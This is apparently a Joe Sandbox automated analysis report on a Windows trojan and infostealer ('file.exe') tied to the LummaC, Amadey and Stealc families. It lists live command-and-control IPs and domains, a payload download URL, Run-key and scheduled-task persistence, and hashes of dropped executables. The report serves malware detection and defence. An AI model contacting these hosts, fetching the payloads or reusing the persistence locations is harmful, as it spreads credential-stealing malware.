https://shavar.services.mozilla.com/	firefox.exe, 00000025.00000002.2499244316.000001F841633000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	df757a3a2c.exe, 00000014.00000003.2184028813.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2384983215.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2461387139.000001F83BBAE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/1P8%	file.exe, 00000006.00000003.1351990490.000000000574C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1351920065.000000000574C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.duckduckgo.com/ac/LOAD_RECORD_START_REQUEST_DELAYInvalid	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.1653078775.000000000101F000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2384080687.000000000147E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	df757a3a2c.exe, 00000016.00000003.2414250147.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2469265249.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 00000025.00000002.2506963554.000001F841C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/9	file.exe, 00000006.00000003.1652961704.0000000005749000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1371901158.0000000005746000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1371368387.0000000005746000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1413620190.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1416844825.0000000005744000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.iqiyi.com/	firefox.exe, 00000025.00000002.2553564650.00002F89BE100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/Z	firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/	firefox.exe, 00000025.00000002.2492115044.000001F840703000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/bestMatchBlockingEnabled	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://a9.com/-/spec/opensearch/1.0/	firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2503641584.000001F841B18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.170.64	crisiwarny.store	United States	13335	CLOUDFLARENETUS	true
157.240.0.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542735
Start date and time:	2024-10-26 08:51:43 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@64/27@94/12
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 44.231.229.39, 34.208.54.237, 52.13.186.250
Excluded domains from analysis (whitelisted): fs.microsoft.com, services.addons.mozilla.org, ciscobinary.openh264.org, shavar.prod.mozaws.net, otelrules.azureedge.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, time.windows.com, fe3cr.delivery.mp.microsoft.com, normandy.cdn.mozilla.net, a19.dscg10.akamai.net, redirector.gvt1.com, login.live.com, safebrowsing.googleapis.com, umwatson.events.data.microsoft.com, normandy-cdn.services.mozilla.com, location.services.mozilla.com
Execution Graph export aborted for target JSB9K8LR5IJBR9A62C6KA1RW.exe, PID 7932 because there are no executed function
Execution Graph export aborted for target K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe, PID 7440 because it is empty
Execution Graph export aborted for target file.exe, PID 6384 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7592 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7704 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:52:43	API Interceptor	651962x Sleep call for process: file.exe modified
04:30:01	API Interceptor	3712284x Sleep call for process: skotes.exe modified
04:30:16	API Interceptor	111x Sleep call for process: df757a3a2c.exe modified
04:30:41	API Interceptor	494x Sleep call for process: ea19c894e7.exe modified
10:29:34	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
10:30:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run df757a3a2c.exe C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe
10:30:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ea19c894e7.exe C:\Users\user~1\AppData\Local\Temp\1001634001\ea19c894e7.exe
10:30:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 582b1c6d88.exe C:\Users\user~1\AppData\Local\Temp\1001635001\582b1c6d88.exe
10:30:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user~1\AppData\Local\Temp\1001636001\num.exe
10:30:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run df757a3a2c.exe C:\Users\user~1\AppData\Local\Temp\1001633001\df757a3a2c.exe
10:31:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ea19c894e7.exe C:\Users\user~1\AppData\Local\Temp\1001634001\ea19c894e7.exe
10:31:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 582b1c6d88.exe C:\Users\user~1\AppData\Local\Temp\1001635001\582b1c6d88.exe
10:31:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user~1\AppData\Local\Temp\1001636001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
172.67.170.64	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc	Browse
	SecuriteInfo.com.Win32.RATX-gen.21236.13558.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.remote-settings.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
example.org	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.1
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.129
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.65
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.129
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.193
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.65
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.129
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.193
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.129
	file.exe	Get hash	malicious	Unknown	Browse	104.244.42.129
dyna.wikimedia.org	file.exe	Get hash	malicious	Unknown	Browse	185.15.59.224
	file.exe	Get hash	malicious	Unknown	Browse	185.15.59.224
	file.exe	Get hash	malicious	Unknown	Browse	185.15.59.224
	file.exe	Get hash	malicious	Unknown	Browse	185.15.59.224
	file.exe	Get hash	malicious	Unknown	Browse	185.15.59.224
	file.exe	Get hash	malicious	Unknown	Browse	185.15.59.224
	file.exe	Get hash	malicious	Unknown	Browse	185.15.59.224
	file.exe	Get hash	malicious	Unknown	Browse	185.15.59.224
	file.exe	Get hash	malicious	Unknown	Browse	185.15.59.224
	file.exe	Get hash	malicious	Unknown	Browse	185.15.59.224

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.84
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.84
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.84
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
CLOUDFLARENETUS	mCe4hBfqCT.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Hxn7F5YIYJ.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	104.26.14.67
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	CheatInjector.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.95.91
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.84
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.84
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.84
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	CheatInjector.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.170.64
	Verus.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\K2GPLQXM988TEBRN5R.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.5837327010322415
Encrypted:	false
SSDEEP:	12288:pqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgagTT:pqDEvCTbMWu7rQYlBQcBiT6rprG8a4T
MD5:	C2CF161C1BE2170FAE2524B889314DC6
SHA1:	23245A6B53EAC1DCB414205C650E821A2ABA5B88
SHA-256:	9E793DB8DF51F560746D9A01E4508815BFAB32DE19E5D7346071C8F355204FCD
SHA-512:	FE1B43CB491DE2B6D1A9A6F18D6DDE3FD16E4785250D882740AFD6F0954637FAB0A45F364F534114D5D26660CAF5D3C3BEC366945DDC54BF798B249048D37C8B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...f..g.........."..........V......w.............@..........................`.......[....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1872384
Entropy (8bit):	7.947326293618379
Encrypted:	false
SSDEEP:	49152:FGr4CilaGYbJQlw/NGMDweoVnrfcXCNuX7Ik:FGr4CsaGamiweGG0
MD5:	79AD5F851A1231DB208F005432D0CF1C
SHA1:	67776523D7821292DA1CED82653558A60B8A7F19
SHA-256:	AB409DFE5CAFAA8A881A844CD26EED91995B9546528E494DB3B46F26812824EB
SHA-512:	2B1A2375CEA5E30CB4DA43A1F539FF920CDB6BD1A758B2EE8C8D7FCD75D540B6EB81330B3313E1EBF43DA22110D818E3D6E5DF869C6751DADF1901DD57722CBD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...9$.g......................$.......j...........@...........................j..... .....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...seldsqgz.0....P......<..............@...ogrbyegi......j......j..............@....taggant.0....j.."...p..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3008000
Entropy (8bit):	6.556118397882354
Encrypted:	false
SSDEEP:	49152:hLaHG4zZU0/b+UylHl6SobWR1zwNgwmgBApq+IutjLc2N:daHGm+0DTyxUj6R1c3otHjLc2
MD5:	C46787C30A894FB065CAB874CC71194F
SHA1:	5C1CCFDEB761EF93CFBF90F0F435D359CEA4C11A
SHA-256:	1C92AEA47444412973DABC0493E6C97969392CECBB559FC264C8ECC70811F852
SHA-512:	870E933DE533C9B251BD8F3CB3A8428B72662C3467FF83921E0BFA679C29A81F7DEB54E99865FF9AE608CDF8C66EBFB35392F739543A501182C82A5D9B42AD63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
